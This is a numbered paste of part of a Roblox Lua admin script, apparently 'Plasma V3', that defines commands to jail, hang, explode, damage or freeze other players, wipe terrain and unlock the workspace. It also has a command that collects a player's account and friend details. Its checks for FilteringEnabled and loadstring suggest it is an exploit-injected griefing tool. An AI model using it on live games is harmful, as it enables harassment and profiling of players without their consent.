  1483. AddCommand({"health"},"plr num", function(Speaker, Params)
  1484. if Params[1] and Params[2] then
  1485. local Plrs = FindPlayer(Params[1], Speaker)
  1486. for i, v in pairs(Plrs) do
  1487. v.Character.Humanoid.MaxHealth = Params[2]
  1488. wait(2)
  1489. v.Character.Humanoid.Health = Params[2]-1
  1490. end
  1491. end
  1492. end)
  1493. AddCommand({"heal"},"plr", function(Speaker, Params)
  1494. if Params[1] then
  1495. local Plrs = FindPlayer(Params[1], Speaker)
  1496. for i, v in pairs(Plrs) do
  1497. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  1498. end
  1499. end
  1500. end)
  1501. AddCommand({"invisible","invis"},"plr", function(Speaker, Params)
  1502. if Params[1] then
  1503. local Plrs = FindPlayer(Params[1], Speaker)
  1504. for i, v in pairs(Plrs) do
  1505. if v.Character.Head:FindFirstChild("face") then
  1506. v.Character.Head.face.Parent = v.Character
  1507. end
  1508. invis =
  1509. function(instance)
  1510. for i,v in pairs(instance:GetChildren()) do
  1511. if v:IsA("BasePart") then
  1512. v.Transparency = 1
  1513. end
  1514. invis(v)
  1515. end
  1516. end
  1517. invis(v.Character)
  1518. end
  1519. end
  1520. end)
  1521. AddCommand({"visible","vis"},"plr", function(Speaker, Params)
  1522. if Params[1] then
  1523. local Plrs = FindPlayer(Params[1], Speaker)
  1524. for i, v in pairs(Plrs) do
  1525. if v.Character:FindFirstChild("face") then
  1526. v.Character.face.Parent = v.Character.Head
  1527. end
  1528. vis =
  1529. function(instance)
  1530. for i,v in pairs(instance:GetChildren()) do
  1531. if v:IsA("BasePart") and v.Name ~= "HumanoidRootPart" then
  1532. v.Transparency = 0
  1533. end
  1534. vis(v)
  1535. end
  1536. end
  1537. vis(v.Character)
  1538. end
  1539. end
  1540. end)
  1541. AddCommand({"btools"},"plr", function(Speaker, Params)
  1542. if Params[1] and Speaker == LocalPlayer then
  1543. local Plrs = FindPlayer(Params[1], Speaker)
  1544. for i, v in pairs(Plrs) do
  1545. local a = Instance.new("HopperBin", v.Backpack) a.BinType = 2 a.TextureId = "" a.Name = "Move tool"
  1546. local b = Instance.new("HopperBin", v.Backpack) b.BinType = 3 b.TextureId = "" b.Name = "Copy tool"
  1547. local c = Instance.new("HopperBin", v.Backpack) c.BinType = 4 c.TextureId = "" c.Name = "Delete tool"
  1548. local d = game:GetService("InsertService"):LoadAsset(18474459):GetChildren()[1] d.Parent = v.Backpack d.TextureId = "" d.Name = "Paint tool"
  1549. end
  1550. end
  1551. end)
  1552. AddCommand({"char"},"plr numb", function(Speaker, Params)
  1553. if Params[1] and Params[2] then
  1554. local Plrs = FindPlayer(Params[1], Speaker)
  1555. for i, v in pairs(Plrs) do
  1556. v.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..Params[2]
  1557. v.Character:BreakJoints()
  1558. end
  1559. end
  1560. end)
  1561. AddCommand({"unchar"},"plr", function(Speaker, Params)
  1562. if Params[1] then
  1563. local Plrs = FindPlayer(Params[1], Speaker)
  1564. for i, v in pairs(Plrs) do
  1565. v.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..v.userId
  1566. v.Character:BreakJoints()
  1567. end
  1568. end
  1569. end)
  1570. AddCommand({"punish"},"plr", function(Speaker, Params)
  1571. if Params[1] then
  1572. local Plrs = FindPlayer(Params[1], Speaker)
  1573. for i, v in pairs(Plrs) do
  1574. v.Character.Parent = Lighting
  1575. end
  1576. end
  1577. end)
  1578. AddCommand({"unpunish"},"plr", function(Speaker, Params)
  1579. if Params[1] then
  1580. local Plrs = FindPlayer(Params[1], Speaker)
  1581. for i, v in pairs(Plrs) do
  1582. v.Character.Parent = Workspace
  1583. end
  1584. end
  1585. end)
  1586. AddCommand({"music", "setmusic"},"music id", function(Speaker, Params)
  1587. if Params[1] then
  1588. for i, v in pairs(Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end
  1589. if Workspace:FindFirstChild("PlasmaMusic") then
  1590. Workspace.PlasmaMusic:ClearAllChildren()
  1591. else
  1592. local m = Instance.new("Model", Workspace)
  1593. m.Name = "PlasmaMusic"
  1594. end
  1595. local s = Instance.new("Sound", Workspace.PlasmaMusic)
  1596. s.SoundId = "http://www.roblox.com/asset/?id=" .. Params[1]
  1597. s.Volume = 1
  1598. s.Pitch = 1
  1599. s.Looped = true
  1600. wait(1)
  1601. s:Play()
  1602. end
  1603. end)
  1604. AddCommand({"stopmusic", "unmusic"}, function(Speaker, Params)
  1605. for i, v in pairs(Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end
  1606. if Workspace:FindFirstChild("PlasmaMusic") then
  1607. Workspace.PlasmaMusic:ClearAllChildren()
  1608. end
  1609. end)
  1610. AddCommand({"flare"},"plr", function(Speaker, Params)
  1611. if Params[1] then
  1612. local Plrs = FindPlayer(Params[1], Speaker)
  1613. for i, v in pairs(Plrs) do
  1614. local flare = Plasma.Parts.flareLight:Clone()
  1615. flare.Parent = v.Character.Torso
  1616. flare.Enabled = true
  1617. local light = Instance.new("PointLight", v.Character.Torso)
  1618. light.Brightness = 5
  1619. light.Color = Color3.new(255/255,0/255,0/255)
  1620. light.Range = 10
  1621. light.Name = "flarelight"
  1622. end
  1623. end
  1624. end)
  1625. AddCommand({"rocket"},"plr", function(Speaker, Params)
  1626. if Params[1] then
  1627. local Plrs = FindPlayer(Params[1], Speaker)
  1628. for i, v in pairs(Plrs) do
  1629. spawn(function()
  1630. local rocket = Plasma.Parts.Rocket:Clone()
  1631. local weld = Instance.new("Weld")
  1632. weld.Part0 = rocket
  1633. weld.Part1 = v.Character.Torso
  1634. weld.C0 = CFrame.new()
  1635. weld.C1 = CFrame.new(0,1,0.9) * CFrame.Angles(-0.05, 0, 0)
  1636. weld.Parent = rocket
  1637. rocket.Parent = v.Character
  1638. rocket.ParticleEmitter.Enabled = true
  1639. wait(0.5)
  1640. local Force = Instance.new("BodyForce", v.Character.Torso)
  1641. Force.force = Vector3.new(0,10300,0)
  1642. wait(1.5)
  1643. local expload = Instance.new("Explosion", Workspace)
  1644. expload.Position = v.Character.Torso.Position
  1645. end)
  1646. end
  1647. end
  1648. end)
  1649. AddCommand({"jail"},"plr", function(Speaker, Params)
  1650. if Params[1] then
  1651. local Plrs = FindPlayer(Params[1], Speaker)
  1652. for i, v in pairs(Plrs) do
  1653. spawn(function()
  1654. local jail = Plasma.Parts.jail:Clone()
  1655. jail.Parent = Workspace
  1656. jail:MoveTo(v.Character.Torso.Position)
  1657. jail.Name = v.Name.."'s jail"
  1658. v.Character.HumanoidRootPart.CFrame = jail.spawn.CFrame
  1659.  
  1660. local event = v.CharacterAdded:connect(function()
  1661. v.Character:WaitForChild("HumanoidRootPart").CFrame = jail.spawn.CFrame
  1662. wait(2)
  1663. v.Character.HumanoidRootPart.CFrame = jail.spawn.CFrame
  1664. end)
  1665. local event2 = Workspace.ChildRemoved:connect(function(x)
  1666. pcall(function()
  1667. if x == jail then
  1668. event:disconnect()
  1669. event2:disconnect()
  1670. end
  1671. end)
  1672. end)
  1673. end)
  1674. end
  1675. end
  1676. end)
  1677. AddCommand({"unjail"},"plr", function(Speaker, Params)
  1678. if Params[1] then
  1679. local Plrs = FindPlayer(Params[1], Speaker)
  1680. for i, v in pairs(Plrs) do
  1681. spawn(function()
  1682. if Workspace:FindFirstChild(v.Name.."'s jail") then
  1683. Workspace[v.Name.."'s jail"]:Destroy()
  1684. end
  1685. end)
  1686. end
  1687. end
  1688. end)
  1689. AddCommand({"hang"},"plr", function(Speaker, Params)
  1690. if Params[1] then
  1691. local Plrs = FindPlayer(Params[1], Speaker)
  1692. for i, v in pairs(Plrs) do
  1693. plr = v.Character
  1694. plr.HumanoidRootPart.Anchored = true
  1695. hang = Plasma.Parts.hang:Clone()
  1696. hang.Parent = plr
  1697. hang:MoveTo(plr.Torso.Position-Vector3.new(0,0,5))
  1698. pcall(function()
  1699. plr.HumanoidRootPart.CFrame = hang.main.CFrame
  1700. function weld(p, cf)
  1701. local weld1 = Instance.new("Weld")
  1702. weld1.Part0 = p
  1703. weld1.Part1 = plr.Torso
  1704. weld1.C0 = CFrame.new()
  1705. weld1.C1 = cf
  1706. weld1.Parent = p
  1707. end
  1708. weld(plr["Right Arm"], CFrame.new(0.8,0.3,-0.6) * CFrame.Angles(0, 0.5, 4))
  1709. weld(plr["Left Arm"], CFrame.new(-0.8,0.3,-0.6) * CFrame.Angles(0, -0.5, -4))
  1710. plr.Humanoid.Name = "Humanoid1"
  1711. end)
  1712. end
  1713. end
  1714. end)
  1715. AddCommand({"unhang"},"plr", function(Speaker, Params)
  1716. if Params[1] then
  1717. local Plrs = FindPlayer(Params[1], Speaker)
  1718. for i, v in pairs(Plrs) do
  1719. v.Character.Head:Destroy()
  1720. end
  1721. end
  1722. end)
  1723. AddCommand({"clearbase"},"plr -only for babasf", function(Speaker, Params)
  1724. if Params[1] then
  1725. local Plrs = FindPlayer(Params[1], Speaker)
  1726. for i, v in pairs(Plrs) do
  1727. if Workspace:FindFirstChild("ActiveParts") then
  1728. Workspace.ActiveParts[v.Name.."'s parts"]:ClearAllChildren()
  1729. end
  1730. end
  1731. end
  1732. end)
  1733. AddCommand({"unflare"},"plr", function(Speaker, Params)
  1734. if Params[1] then
  1735. local Plrs = FindPlayer(Params[1], Speaker)
  1736. for i, v in pairs(Plrs) do
  1737. for _, p in pairs(v.Character.Torso:GetChildren()) do
  1738. if p.Name == "flareLight" or p.Name == "flarelight" then
  1739. p:Destroy()
  1740. end
  1741. end
  1742. end
  1743. end
  1744. end)
  1745. AddCommand({"damage"},"plr numb", function(Speaker, Params)
  1746. if Params[1] and Params[2] then
  1747. local Plrs = FindPlayer(Params[1], Speaker)
  1748. for i, v in pairs(Plrs) do
  1749. v.Character.Humanoid.Health = v.Character.Humanoid.Health-Params[2]
  1750. end
  1751. end
  1752. end)
  1753. AddCommand({"fix"}, function(Speaker, Params)
  1754. Lighting.Ambient = orginalGameSettings.ambient
  1755. Lighting.Brightness = orginalGameSettings.brightness
  1756. Lighting.GlobalShadows = orginalGameSettings.gshadows
  1757. Lighting.Outlines = orginalGameSettings.outlines
  1758. Lighting.ShadowColor = orginalGameSettings.shadowcolor
  1759. Lighting.TimeOfDay = orginalGameSettings.timeset
  1760. Lighting.FogColor = orginalGameSettings.fogcolor
  1761. Lighting.OutdoorAmbient = orginalGameSettings.outdoorambient
  1762. Lighting.FogEnd = orginalGameSettings.fogend
  1763. Lighting.FogStart = Lighting.fogstart
  1764. end)
  1765.  
  1766. AddCommand({"disco"}, function(Speaker, Params)
  1767. discoset=true
  1768. repeat
  1769. if discoset==false then return end
  1770. local color = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255)
  1771. Lighting.Ambient = color
  1772. Lighting.OutdoorAmbient = color
  1773. Lighting.FogColor = color
  1774. wait(0.1)
  1775. until discoset==false
  1776. end)
  1777. AddCommand({"undisco"}, function(Speaker, Params)
  1778. discoset=false
  1779. end)
  1780. AddCommand({"removetools","rtools"},"plr", function(Speaker, Params)
  1781. if Params[1] then
  1782. local Plrs = FindPlayer(Params[1], Speaker)
  1783. for i, v in pairs(Plrs) do
  1784. v.Backpack:ClearAllChildren()
  1785. end
  1786. end
  1787. end)
  1788. AddCommand({"clone"},"plr", function(Speaker, Params)
  1789. if Params[1] then
  1790. local Plrs = FindPlayer(Params[1], Speaker)
  1791. for i, v in pairs(Plrs) do
  1792. if v and v.Character then
  1793. v.Character.Archivable = true
  1794. local cl = v.Character:Clone()
  1795. cl.Parent = Workspace
  1796. table.insert(objects,cl)
  1797. cl:MoveTo(v.Character:GetModelCFrame().p)
  1798. cl:MakeJoints()
  1799. v.Character.Archivable = false
  1800. end
  1801. end
  1802. end
  1803. end)
  1804. AddCommand({"clean","clr"}, function(Speaker, Params)
  1805. for _, v in pairs(objects) do v:Destroy() end
  1806. objects = {}
  1807. end)
  1808. AddCommand({"clearterrain"}, function(Speaker, Params)
  1809. if Params[1] and Params[2] then
  1810. local Plrs = FindPlayer(Params[1], Speaker)
  1811. for i, v in pairs(Plrs) do
  1812. Workspace.Terrain:Clear()
  1813. end
  1814. end
  1815. end)
  1816.  
  1817. AddCommand({"ff"},"plr", function(Speaker, Params)
  1818. if Params[1] then
  1819. local Plrs = FindPlayer(Params[1], Speaker)
  1820. for i, v in pairs(Plrs) do
  1821. Instance.new("ForceField", v.Character)
  1822. end
  1823. end
  1824. end)
  1825. AddCommand({"tchat"},"plr str", function(Speaker, Params)
  1826. if Params[1] then
  1827. local Plrs = FindPlayer(Params[1], Speaker)
  1828. local chat = ""
  1829. for i, v in pairs(Params) do
  1830. chat = chat .. v .. " "
  1831. end
  1832. tabletalert(chat, Speaker)
  1833. end
  1834. end)
  1835. AddCommand({"unff"},"plr", function(Speaker, Params)
  1836. if Params[1] then
  1837. local Plrs = FindPlayer(Params[1], Speaker)
  1838. for i, v in pairs(Plrs) do
  1839. for x, k in pairs(v.Character:GetChildren()) do
  1840. if k.Name == "ForceField" then
  1841. k:Destroy()
  1842. end
  1843. end
  1844. end
  1845. end
  1846. end)
  1847. AddCommand({"fire"},"plr (r b g)", function(Speaker, Params)
  1848. if Params[1] then
  1849. local Plrs = FindPlayer(Params[1], Speaker)
  1850. for i, v in pairs(Plrs) do
  1851. local f = Instance.new("Fire", v.Character.Torso) f.Size = 10
  1852. if Params[2] then
  1853. f.Color = Color3.new(Params[2]/255,Params[3]/255,Params[4]/255)
  1854. end
  1855. end
  1856. end
  1857. end)
  1858. AddCommand({"sparkles","sp"},"plr (r b g)", function(Speaker, Params)
  1859. if Params[1] then
  1860. local Plrs = FindPlayer(Params[1], Speaker)
  1861. for i, v in pairs(Plrs) do
  1862. local s = Instance.new("Sparkles", v.Character.Torso)
  1863. if Params[2] then
  1864. s.SparkleColor = Color3.new(Params[2]/255,Params[3]/255,Params[4]/255)
  1865. end
  1866. end
  1867. end
  1868. end)
  1869. AddCommand({"unsparkles","unsp"},"plr", function(Speaker, Params)
  1870. if Params[1] then
  1871. local Plrs = FindPlayer(Params[1], Speaker)
  1872. for i, v in pairs(Plrs) do
  1873. if v.Character.Torso:FindFirstChild("Sparkles") then
  1874. v.Character.Torso.Sparkles:Destroy()
  1875. end
  1876. end
  1877. end
  1878. end)
  1879. AddCommand({"unfire"},"plr", function(Speaker, Params)
  1880. if Params[1] then
  1881. local Plrs = FindPlayer(Params[1], Speaker)
  1882. for i, v in pairs(Plrs) do
  1883. if v.Character.Torso:FindFirstChild("Fire") then
  1884. v.Character.Torso.Fire:Destroy()
  1885. end
  1886. end
  1887. end
  1888. end)
  1889. AddCommand({"gear"},"plr num", function(Speaker, Params)
  1890. if Params[1] and Params[2] then
  1891. local Plrs = FindPlayer(Params[1], Speaker)
  1892. local gr = game:GetService("InsertService"):LoadAsset(Params[2]):GetChildren()[1]
  1893. for i, v in pairs(Plrs) do
  1894. if v and v.Backpack then
  1895. gr:Clone().Parent = v.Backpack
  1896. end
  1897. end
  1898. end
  1899. end)
  1900. AddCommand({"copytools","stealtools"},"plr plr", function(Speaker, Params)
  1901. if Params[1] and Params[2] then
  1902. local Plrs = FindPlayer(Params[1], Speaker)
  1903. local Plrs2 = FindPlayer(Params[2], Speaker)
  1904. for i, v in pairs(Plrs) do
  1905. for q, p in pairs(Plrs2) do
  1906. for _, k in pairs(v.Backpack:GetChildren()) do
  1907. k:Clone().Parent = p.Backpack
  1908. end
  1909. end
  1910. end
  1911. end
  1912. end)
  1913. AddCommand({"nograv", "nogravity"},"plr", function(Speaker, Params)
  1914. if Params[1] then
  1915. local Plrs = FindPlayer(Params[1], Speaker)
  1916. for i, v in pairs(Plrs) do
  1917. if v and v.Character and v.Character:findFirstChild("Torso") then
  1918. local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "pl_frc" frc.force = Vector3.new(0,0,0)
  1919. for a, prt in pairs(v.Character:children()) do
  1920. if prt:IsA("BasePart") then
  1921. frc.force = frc.force + Vector3.new(0,prt:GetMass()*150,0)
  1922. elseif prt:IsA("Hat") then
  1923. frc.force = frc.force + Vector3.new(0,prt.Handle:GetMass()*150,0)
  1924. end
  1925. end
  1926. end
  1927. end
  1928. end
  1929. end)
  1930. AddCommand({"grav"},"plr", function(Speaker, Params)
  1931. local Plrs = FindPlayer(Params[1], Speaker)
  1932. for i, v in pairs(Plrs) do
  1933. if v.Character.Torso:FindFirstChild("pl_frc") then
  1934. v.Character.Torso["pl_frc"]:Destroy()
  1935. end
  1936. end
  1937. end)
  1938. AddCommand({"drop", "trip"},"plr", function(Speaker, Params)
  1939. if Params[1] then
  1940. local Plrs = FindPlayer(Params[1], Speaker)
  1941. for i, v in pairs(Plrs) do
  1942. v.Character.Humanoid.PlatformStand = true
  1943. end
  1944. end
  1945. end)
  1946. AddCommand({"jump"},"plr", function(Speaker, Params)
  1947. if Params[1] then
  1948. local Plrs = FindPlayer(Params[1], Speaker)
  1949. for i, v in pairs(Plrs) do
  1950. v.Character.Humanoid.Jump = true
  1951. end
  1952. end
  1953. end)
  1954. AddCommand({"sit"},"plr", function(Speaker, Params)
  1955. if Params[1] then
  1956. local Plrs = FindPlayer(Params[1], Speaker)
  1957. for i, v in pairs(Plrs) do
  1958. v.Character.Humanoid.Sit = true
  1959. end
  1960. end
  1961. end)
  1962. AddCommand({"headless"},"plr", function(Speaker, Params)
  1963. if Params[1] then
  1964. local Plrs = FindPlayer(Params[1], Speaker)
  1965. for i, v in pairs(Plrs) do
  1966. v.Character.Head.Transparency = 1
  1967. pcall(function()v.Character.Head.face:Destroy()end)
  1968. end
  1969. end
  1970. end)
  1971. AddCommand({"hat"},"plr id", function(Speaker, Params)
  1972. if Params[1] and Params[2] then
  1973. local Plrs = FindPlayer(Params[1], Speaker)
  1974. if #Plrs > 0 then
  1975. local gr = game:GetService("InsertService"):LoadAsset(Params[2]):GetChildren()[1]
  1976. for i, v in pairs(Plrs) do
  1977. if v and v.Backpack then
  1978. gr:Clone().Parent = v.Character
  1979. end
  1980. end
  1981. end
  1982. end
  1983. end)
  1984. AddCommand({"freeze"},"plr", function(Speaker, Params)
  1985. if Params[1] then
  1986. local Plrs = FindPlayer(Params[1], Speaker)
  1987. for i, v in pairs(Plrs) do
  1988. v.Character.Torso.Anchored = true
  1989. end
  1990. end
  1991. end)
  1992. AddCommand({"thaw"},"plr", function(Speaker, Params)
  1993. if Params[1] then
  1994. local Plrs = FindPlayer(Params[1], Speaker)
  1995. for i, v in pairs(Plrs) do
  1996. for x, p in pairs(v.Character:GetChildren()) do
  1997. if p.ClassName == "Part" then
  1998. p.Anchored = false
  1999. end
  2000. end
  2001. v.Character.Humanoid.WalkSpeed = 16
  2002. end
  2003. end
  2004. end)
  2005. AddCommand({"skybox"},"id", function(Speaker, Params)
  2006. if Params[1] then
  2007. for i, v in pairs(Lighting:GetChildren()) do
  2008. if v:IsA("Sky") then
  2009. v:Destroy()
  2010. end
  2011. end
  2012. local id = "rbxassetid://" .. Params[1]
  2013. local sk = Instance.new("Sky", Lighting)
  2014. sk.SkyboxBk = id
  2015. sk.SkyboxDn = id
  2016. sk.SkyboxFt = id
  2017. sk.SkyboxLf = id
  2018. sk.SkyboxRt = id
  2019. sk.SkyboxUp = id
  2020. end
  2021. end)
  2022. AddCommand({"name"},"plr str", function(Speaker, Params)
  2023. if Params[1] and Params[2] then
  2024. local Plrs = FindPlayer(Params[1], Speaker)
  2025. local name = ""
  2026. for i, v in pairs(Params) do
  2027. if i ~= 1 then
  2028. name = name .. v .. " "
  2029. end
  2030. end
  2031. for i, v in pairs(Plrs) do
  2032. v.Character.Name = name
  2033. end
  2034. end
  2035. end)
  2036. AddCommand({"chat"},"plr str", function(Speaker, Params)
  2037. if Params[1] and Params[2] then
  2038. local Plrs = FindPlayer(Params[1], Speaker)
  2039. local chat = ""
  2040. local ChatService = game:GetService("Chat")
  2041. for i, v in pairs(Params) do
  2042. if i ~= 1 then
  2043. chat = chat .. v .. " "
  2044. end
  2045. end
  2046. for i, v in pairs(Plrs) do
  2047. ChatService:Chat(v.Character.Head, chat, "Red")
  2048. end
  2049. end
  2050. end)
  2051. AddCommand({"unname"},"plr", function(Speaker, Params)
  2052. if Params[1] then
  2053. local Plrs = FindPlayer(Params[1], Speaker)
  2054. for i, v in pairs(Plrs) do
  2055. v.Character.Name = v.Name
  2056. end
  2057. end
  2058. end)
  2059. AddCommand({"unlockws", "unlockworkspace"}, function(Speaker, Params)
  2060. local function unlock(ins)
  2061. for i, v in pairs(ins:GetChildren()) do
  2062. pcall(function() v.Locked = false end)
  2063. unlock(v)
  2064. end
  2065. end
  2066. unlock(Workspace)
  2067. end)
  2068. AddCommand({"unanchorws", "unanchorworkspace"}, function(Speaker, Params)
  2069. local function unanchor(ins)
  2070. for i, v in pairs(ins:GetChildren()) do
  2071. pcall(function() v.Anchored = false end)
  2072. unanchor(v)
  2073. end
  2074. end
  2075. unanchor(Workspace)
  2076. end)
  2077. AddCommand({"removelimbs", "rlimbs"}, function(Speaker, Params)
  2078. if Params[1] then
  2079. local Plrs = FindPlayer(Params[1], Speaker)
  2080. for i, v in pairs(Plrs) do
  2081. if v and v.Character then
  2082. for q, p in pairs(v.Character:GetChildren()) do
  2083. if p:IsA("BasePart") and (p.Name:find("Leg") or p.Name:find("Arm")) then p:Destroy() end
  2084. end
  2085. end
  2086. end
  2087. end
  2088. end)
  2089. AddCommand({"respawn", "spawn"}, "plr", function(Speaker, Params)
  2090. local Plrs = FindPlayer(Params[1], Speaker)
  2091. for i, v in pairs(Plrs) do
  2092. local mod=Instance.new("Model", Workspace)
  2093. local hum=Instance.new("Humanoid", mod)
  2094. local tor=Instance.new("Part", mod)
  2095. tor.Name="Torso"
  2096. tor.Transparency = 1
  2097. tor.CanCollide = false
  2098. mod.Name="Respawn"
  2099. hum.MaxHealth=math.huge
  2100. v.Character = mod
  2101. end
  2102. end)
  2103. AddCommand({"team"},"plr team", function(Speaker, Params)
  2104. if Params[1] and Params[2] then
  2105. local Plrs = FindPlayer(Params[1], Speaker)
  2106. for i, v in pairs(Plrs) do
  2107. if v and game:findFirstChild("Teams") then
  2108. for a, tm in pairs(Teams:children()) do
  2109. if tm.Name:lower():find(Params[2]) == 1 then
  2110. v.TeamColor = tm.TeamColor
  2111. end
  2112. end
  2113. end
  2114. end
  2115. end
  2116. end)
  2117. AddCommand({"removehats", "baldify"},"plr", function(Speaker, Params)
  2118. if Params[1] then
  2119. local Plrs = FindPlayer(Params[1], Speaker)
  2120. for i, v in pairs(Plrs) do
  2121. if v and v.Character then
  2122. for q, p in pairs(v.Character:GetChildren()) do
  2123. if p:IsA("Hat") then p:Destroy() end
  2124. end
  2125. end
  2126. end
  2127. end
  2128. end)
  2129. AddCommand({"fogstart"},"num", function(Speaker, Params)
  2130. if Params[1] then
  2131. Lighting.FogStart = Params[1]
  2132. end
  2133. end)
  2134. AddCommand({"m", "message"},"msg", function(Speaker, Params)
  2135. if Params[1] then
  2136. local msg = ""for i, v in pairs(Params) do msg = msg .. v .. " " end
  2137. for i, v in pairs(Players:GetChildren()) do
  2138. spawn(function()
  2139. if ispremium(LocalPlayer.Name) then
  2140. title = "Plasma V3 Premium - Global Message"
  2141. else
  2142. title = "Plasma V3 - Global Message"
  2143. end
  2144. giveplrgui(title, msg, v)
  2145. wait(1.9)
  2146. giveplrgui(title, msg, v)
  2147. wait(1.9)
  2148. giveplrgui(title, msg, v)
  2149. end)
  2150. end
  2151. end
  2152. end)
  2153. AddCommand({"pm", "personalmessage"},"msg player", function(Speaker, Params)
  2154. if Params[1] and Params[2] then
  2155. local Plrs = FindPlayer(Params[1], Speaker)
  2156. local msg = ""for i, v in pairs(Params) do if i ~= 1 then msg = msg .. v .. " " end end
  2157. for i, v in pairs(Plrs) do
  2158. spawn(function()
  2159. if ispremium(LocalPlayer.Name) then
  2160. title = "Plasma V3 Premium - Personal Message"
  2161. else
  2162. title = "Plasma V3 - Personal Message"
  2163. end
  2164. giveplrgui(title, msg, v)
  2165. wait(1.9)
  2166. giveplrgui(title, msg, v)
  2167. wait(1.9)
  2168. giveplrgui(title, msg, v)
  2169. end)
  2170. end
  2171. end
  2172. end)
  2173. AddCommand({"get"},"plr", function(Speaker, Params)
  2174. if Params[1] then
  2175. local Plrs = FindPlayer(Params[1], Speaker)
  2176. for i, v in pairs(Plrs) do
  2177. info = {}
  2178. local p, e = pcall(function()
  2179. for _, g in pairs(Workspace:GetChildren()) do
  2180. if g.Name==Speaker.Name.."'s tablet" then
  2181. g:Destroy()
  2182. end
  2183. end
  2184. table.insert(info, "UserId: "..v.userId)
  2185. table.insert(info, "Age: "..v.AccountAge)
  2186. table.insert(info, "Membership Type: "..v.MembershipType.Name)
  2187. table.insert(info, "Camera Mode: "..v.CameraMode.Name)
  2188. table.insert(info, "Health: "..v.Character:FindFirstChild("Humanoid").Health)
  2189. table.insert(info, "WalkSpeed: "..v.Character:FindFirstChild("Humanoid").WalkSpeed)
  2190. table.insert(info, "Friend Count: "..game:GetService("HttpService"):JSONDecode(game:HttpGetAsync("http://api.roblox.com/user/get-friendship-count?userId="..v.userId)).count)
  2191. if game:GetService("HttpService"):JSONDecode(game:HttpGetAsync("https://www.roblox.com/Groups/GetPrimaryGroupInfo.ashx?users="..v.Name))[v.Name].GroupName ~= nil then
  2192. table.insert(info, "Primary Group: "..game:GetService("HttpService"):JSONDecode(game:HttpGetAsync("https://www.roblox.com/Groups/GetPrimaryGroupInfo.ashx?users="..v.Name))[v.Name].GroupName)
  2193. end
  2194. local f = 0
  2195. for _, plr in pairs(Players:GetChildren()) do
  2196. if plr:IsFriendsWith(v.userId) and plr~=v then
  2197. f = f+1
  2198. end
  2199. end
  2200. if f~=0 then
  2201. table.insert(info, "Friends in the Server: ")
  2202. for _, plr in pairs(Players:GetChildren()) do
  2203. if plr:IsFriendsWith(v.userId) and plr~=v then
  2204. table.insert(info, "-"..plr.Name.." ("..plr.userId..")")
  2205. end
  2206. end
  2207. end
  2208. table.insert(info, "Distance: "..math.floor(v:DistanceFromCharacter(Speaker.Character.Torso.Position)).." stud(s)")
  2209. end)
  2210. if e then print(e) end
  2211. tabletablet(Speaker, info, v.Name.."'s information", CFrame.new(0,2,-5) * CFrame.Angles(0, 4.7, 5), true)
  2212. end
  2213. end
  2214. end)
  2215. AddCommand({"view"},"ss,cmds,admins,bans", function(Speaker, Params)
  2216. for _, v in pairs(Workspace:GetChildren()) do
  2217. if v.Name==Speaker.Name.."'s tablet" then
  2218. v:Destroy()
  2219. end
  2220. end
  2221. function ss(pos)
  2222. local tablet = Plasma.Tablets.Panel2:Clone()
  2223. if premiumThem == "true" then
  2224. tablet.prem.Enabled = true
  2225. end
  2226. local f = tablet.SurfaceGui.Frame
  2227. tablet.Name = Speaker.Name.."'s tablet"
  2228. if ispremium(LocalPlayer.Name) then f.title.Text = "Plasma V3 Premium - Server Statistics"else f.title.Text = "Plasma V3 - Server Statistics" end
  2229. if Workspace.FilteringEnabled == true then f.filtering.Text = "Filtering enabled: true" else f.filtering.Text = "Filtering enabled: false" end
  2230. f.gameid.Text = "Place Id: "..game.PlaceId
  2231. f.gamename.Text = "Game: "..game:GetService("MarketplaceService"):GetProductInfo(game.PlaceId).Name
  2232. local function gpf() if tablet == nil then e1:disconnect() e2:disconnect() end if f:FindFirstChild("gameplayers") then f.gameplayers.Text = "Players: "..#Players:GetChildren().."/"..Players.MaxPlayers end end gpf() local e1 = Players.ChildAdded:connect(function() gpf() end) local e2 = Players.ChildRemoved:connect(function() gpf() end)
  2233. local s,e=pcall(function()loadstring("print('hi')")end) if s then f.loadstring.Text = "Loadstring enabled: true"else f.loadstring.Text = "Loadstring enabled: false"end
  2234. local function udf() if tablet == nil then ev:disconnect() end f.timeofday.Text = "Time: "..Lighting.TimeOfDay end udf() local ev = Lighting.Changed:connect(function() udf() end)
  2235. local weld = Instance.new("Weld")
  2236. weld.Part0 = tablet
  2237. weld.Part1 = Speaker.Character.Torso
  2238. weld.C0 = CFrame.new()
  2239. if pos == true then
  2240. tablet.prem.Enabled = false
  2241. weld.C1 = CFrame.new(-3.2,2,-5) * CFrame.Angles(0, 4.8, 5)
  2242. else
  2243. weld.C1 = CFrame.new(0,2,-5) * CFrame.Angles(0, 4.7, 5)
  2244. end
  2245. weld.Parent = tablet
  2246. tablet.Parent = Workspace
  2247. end
  2248. if Params[1] == "ss" or Params[1] == "serverstats" then
  2249. ss()
  2250. elseif Params[1] == "cmds" or Params[1] == "commands" then
  2251. tabletablet(Speaker, Commands, "Commands", CFrame.new(0,2,-5) * CFrame.Angles(0, 4.7, 5))
  2252. elseif Params[1] == "admins" or Params[1] == "adminlist" then
  2253. tabletablet(Speaker, admins, "Admins", CFrame.new(0,2,-5) * CFrame.Angles(0, 4.7, 5))
  2254. elseif Params[1] == "bans" or Params[1] == "banlist" then
  2255. if #bans ~= 0 then
  2256. tabletablet(Speaker, bans, "Bans", CFrame.new(0,2,-5) * CFrame.Angles(0, 4.7, 5))
  2257. end
  2258. elseif Params[1] == "all" then
  2259. tabletablet(Speaker, bans, "Bans", CFrame.new(8.4,2,-2.8) * CFrame.Angles(0, 4.1, 5), false, true)
  2260. tabletablet(Speaker, admins, "Admins", CFrame.new(3,2,-5) * CFrame.Angles(0, 4.5, 5), false, true)
  2261. tabletablet(Speaker, Commands, "Commands", CFrame.new(-9,2,-3) * CFrame.Angles(0, 5.3, 5), false, true)
  2262. ss(true)
  2263. end
  2264. end)
  2265. AddCommand({"dismiss"}, function(Speaker, Params)
  2266. for _, v in pairs(Workspace:GetChildren()) do
  2267. if v.Name==Speaker.Name.."'s tablet" then
  2268. v:Destroy()
  2269. end
  2270. end
  2271. end)
